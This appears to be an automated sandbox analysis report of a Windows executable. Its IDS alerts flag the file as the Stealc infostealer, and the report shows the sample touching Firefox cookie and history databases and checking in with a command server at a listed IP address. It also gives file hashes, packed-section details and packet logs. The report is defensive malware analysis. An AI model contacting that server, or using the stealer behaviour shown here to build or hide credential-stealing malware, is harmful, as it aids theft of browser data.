.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (806)
Category:	downloaded
Size (bytes):	811
Entropy (8bit):	5.160700582841329
Encrypted:	false
SSDEEP:	24:nRc3NP1cUXmMQBHslgT9lCuABuoB7HHHHHHHYqmffffffo:RQNtc6UKlgZ01BuSEqmffffffo
MD5:	927F8E0E4703D14148200E7EC9E613EF
SHA1:	5E0C5FD3271F7E48F483E201ED54AD22AE0A5AEE
SHA-256:	89C3A6FFB8C380F1B0293380C1197B62D095011C3C3FB40AA2A2B70F2796B6E3
SHA-512:	957A8C53D97D6C4127B61379A8DAAFF235C69B39F7654E8BC9A62F3D8EE4D83A65D13AAD8CE518A6EF7AFDD1FE7EA2EC49BF3B3982706D6D0AADE7A1614CC9BF
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["miami dolphins arizona cardinals","fall back daylight savings time","conclave movie review","pope francis synod","walmart black friday 2024 deals","animal crossing pocket camp complete","cincinnati bengals news","fortnite chapter 2 remix battle pass"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133996
Entropy (8bit):	5.435249559924774
Encrypted:	false
SSDEEP:	1536:g7CkPDNTW14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzLixqxUDgRiKvD+RVH2Unp:2PU1CAV/WEhFdF47j9R4qxc6+OUaKszQ
MD5:	5CEFFF58E0929A832D571124229F176C
SHA1:	07AA193870552F64909A9A32C635A433331FDAC0
SHA-256:	AC6B7C1B4B018CFF4A7186A07FAF0E3C73B00812D5B04A583A0D2EF834E13026
SHA-512:	01EFC13FE9FCD570A6B0B857FA40E2955436AB131163BA8E040E2D6C1585242D48A13510AA852F4F247191CDBBF1DCA5B3D2577C6F1865E45AD9BEE746C0C62A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.95901515884425
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'096'128 bytes
MD5:	f5693bd68a0cbe830d0ef2bc9d6874e6
SHA1:	fdd8152892fcf61c837db3c8ca4babca6bc61740
SHA256:	e9c7b96f254a6ee8c0a1a04a8416a3f62a15d687fc41cf9216f7daa007d5ad64
SHA512:	23be1994421ca819d1edc0ea286dbda9af847c9d4dc59474f71604f5d0077cf2b54950572ef332c34ed413dd1c6e4b8c97d00cb734b85b2c943a9a417a7b7a22
SSDEEP:	49152:Wrsf3XVrcKqlPZNd6zwK6K8MG+/v7phUIwNdXiNaWGo5Sd:v6DZN4D7phUIwN5i3
TLSH:	90A53312EF9CE15ECDB821FE81AE88957C50181E255F47C84E0920C59466EEB31CFEAF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb11000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2CCCAF2C4Ah
pminub mm3, qword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	66d15a1ff6b70dd50b5a8e8885314f50	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x291000	0x200	34d9500859d61a036c627523463353a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zpcrkvoh	0x57b000	0x195000	0x194c00	55e0cf1772cf7bfcda014e1158df3dd5	False	0.9946267950895614	data	7.953515529829794	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pqiaosko	0x710000	0x1000	0x400	5f7c537eee7f0c5af6b673a4e200be4a	False	0.7607421875	data	6.021594889383393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x711000	0x3000	0x2200	79339b6d140b1ba02e3b98f15b37cc7c	False	0.05560661764705882	DOS executable (COM)	0.5651905564204232	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T18:43:04.289044+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:04.589019+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:04.599361+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-28T18:43:04.880864+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:04.888416+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-28T18:43:05.992238+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:06.523815+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-28T18:43:34.066790+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:35.375344+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:35.974324+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:36.639436+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:39.419525+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP
2024-10-28T18:43:40.312305+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	63519	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 18:42:58.559596062 CET	49674	443	192.168.2.5	23.1.237.91
Oct 28, 2024 18:42:58.575177908 CET	49675	443	192.168.2.5	23.1.237.91
Oct 28, 2024 18:42:58.778434992 CET	49673	443	192.168.2.5	23.1.237.91
Oct 28, 2024 18:43:03.066991091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:03.072412968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:03.072518110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:03.072689056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:03.078272104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:03.989928007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:03.989991903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:03.993172884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:03.999805927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.288943052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.289043903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.295919895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.301362038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.588934898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.589019060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.589199066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.589268923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.590396881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.599360943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.880629063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.880646944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.880863905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.881165981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.881181955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.881198883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.881212950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.881253958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:04.881344080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.881359100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:04.881387949 CET	49704	80	192.168.2.5	185.215.113.206
